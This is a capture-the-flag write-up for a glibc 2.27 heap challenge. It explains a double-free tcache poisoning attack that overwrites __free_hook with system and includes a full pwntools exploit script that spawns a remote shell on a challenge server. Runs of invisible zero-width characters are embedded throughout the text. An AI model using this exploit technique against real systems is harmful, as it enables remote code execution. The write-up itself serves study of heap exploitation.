← Back to Writeups
CUSTOMMediumpwn

EpicEasy

XESXOR9/2/20264 min read
#pwn#custom#medium#fgets_nul_terminator_pointer_w#free_hook_overwrite#libc_start_main_got_leak#system_bin_sh#tcache_double_free_no_key_chec#linux

EpicEasy

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fgets_nul_terminator_pointer_write, free_hook_overwrite, libc_start_main_got_leak, system_bin_sh, tcache_double_free_no_key_check

Summary

Task: glibc 2.27 heap menu (add/remove) with double-free/UAF and a startup libc leak; remove() never nulls the pointer. Solution: double-free to poison the 0x20 tcache, overwrite __free_hook with system, free a chunk holding /bin/sh to get system("/bin/sh") and a shell.

EpicEasy — spbctf

Description

"Epicly easy heap pwn!" Files provided: epiceasy_without_flag.elf, libc.so.6, ld-linux-x86-64.so.2

A menu-driven heap allocator on glibc 2.27. It prints a libc leak at startup and offers add/remove/quit. The remove operation frees a pointer without clearing it, enabling a double-free. Goal: get a shell and read the flag baked into arr[0].

Analysis

Binary: ELF x86-64, No PIE (base 0x400000), Partial RELRO (GOT writable), NX, canary, stripped.

libc: glibc 2.27 (Ubuntu GLIBC 2.27-3ubuntu1.2). This version has no tcache key and no double-free detection, so a plain free(a); free(b); free(a) poisons the tcache freelist directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The free leak

On startup the program prints:

EPIC EASY HEAP. libc leak: 0x7f....

The leaked value is the __libc_start_main address read from the GOT (0x601ff0). Its offset in the provided libc is 0x21ab0, giving the libc base immediately:

libc_base = leak - 0x21ab0

Global state and menu

  • arr[] chunk-pointer table @ 0x6020c0
  • sizes[] int array @ 0x602140
  • arr[0] = malloc(0x10) filled at init with the flag via two movabs immediates.

Menu (scanf %d):

  • add (0x400a10): read index (0..15); scanf a size (0 < size <= 0x20); fgets(stackbuf, size, stdin); arr[idx] = malloc(size); strcpy(arr[idx], stackbuf). Every chunk lands in the 0x20 tcache bin.
  • remove (0x400b77): free(arr[idx]) — does NOT null the pointer → double-free / UAF.
  • read_index (0x400baf): scanf %d, requires 0 <= idx <= 0xf. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

fgets NUL trick for clean pointer writes

fgets(buf, size, stdin) always appends a terminating NUL. Sending a 7-byte payload lets that NUL complete an 8-byte qword pointer — since x86-64 heap/libc addresses have 6 significant bytes and two high zero bytes, we write clean, correct pointers into the tcache fd.

Solution

Because a libc leak is handed to us, we skip the GOT-overwrite tricks needed by the sibling pwn10_nosoeasy and go straight for the classic __free_hook = system → system("/bin/sh") route. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Parse the printed __libc_start_main leak → libc_base = leak - 0x21ab0. Compute system and __free_hook from the provided libc.so.6.
  2. add(1, 0x10, "AAAA"), add(2, 0x10, "BBBB").
  3. remove(1); remove(2); remove(1) → double-free (glibc 2.27, no key). tcache[0x20]: A → B → A.
  4. add(3, 0x18, p64(__free_hook)[:7]) → pops A, sets A.fd = __free_hook (7 bytes + fgets NUL completes the qword).
  5. add(4, 0x18, "x") (pops B), add(5, 0x18, "y") (pops A) → tcache head is now __free_hook.
  6. add(6, 0x18, p64(system)[:7]) → malloc returns __free_hook, writing system into it.
  7. add(7, 0x18, "/bin/sh\x00"); remove(7) → free(arr[7]) invokes __free_hook("/bin/sh") = system("/bin/sh") → shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag recovery

The without_flag binary carries a placeholder, so we exfiltrated the real server binary epiceasy.elf over the shell (base64) and read the two movabs immediates that fill arr[0]:

  • 0x597b667463627073 → spbctf{Y
  • 0x7d7449743067554f → OUg0tIt}

Concatenated little-endian: spbctf{REDACTED}.

python
#!/usr/bin/env python3
"""EpicEasy — glibc 2.27 double-free tcache poison.
Leak __libc_start_main -> libc base; overwrite __free_hook = system;
free a chunk holding "/bin/sh" -> shell.
"""
from pwn import *
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
HOST, PORT = '109.233.56.90', 11738

libc = ELF('./libc.so.6', checksec=False)
LSM_OFF = libc.symbols['__libc_start_main']   # 0x21ab0

def menu(io, c):
    io.recvuntil(b'3) quit\n'); io.sendline(str(c).encode())

def add(io, idx, size, data):
    menu(io, 1)
    io.recvuntil(b'index: '); io.sendline(str(idx).encode())
    io.recvuntil(b'size: ');  io.sendline(str(size).encode())
    io.recvuntil(b'input: '); io.send(data + b'\n')

def remove_(io, idx):
    menu(io, 2); io.recvuntil(b'index: '); io.sendline(str(idx).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'libc leak: ')
base = int(io.recvline().strip(), 16) - LSM_OFF
system    = base + libc.symbols['system']
free_hook = base + libc.symbols['__free_hook']
log.success(f"libc_base={hex(base)} system={hex(system)} free_hook={hex(free_hook)}")

# setup + double free (size 0x10 -> 0x20 tcache bin)
add(io, 1, 0x10, b'AAAA')
add(io, 2, 0x10, b'BBBB')
remove_(io, 1); remove_(io, 2); remove_(io, 1)   # double free: A -> B -> A

# poison A.fd = __free_hook (7 bytes; fgets NUL completes the qword)
add(io, 3, 0x18, p64(free_hook)[:7])             # pop A, write fd
add(io, 4, 0x18, b'x')                           # pop B
add(io, 5, 0x18, b'y')                           # pop A ; head = free_hook
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# write system into __free_hook
add(io, 6, 0x18, p64(system)[:7])                # malloc(__free_hook) = system

# place "/bin/sh" and free it -> system("/bin/sh")
add(io, 7, 0x18, b'/bin/sh\x00')
remove_(io, 7)

io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍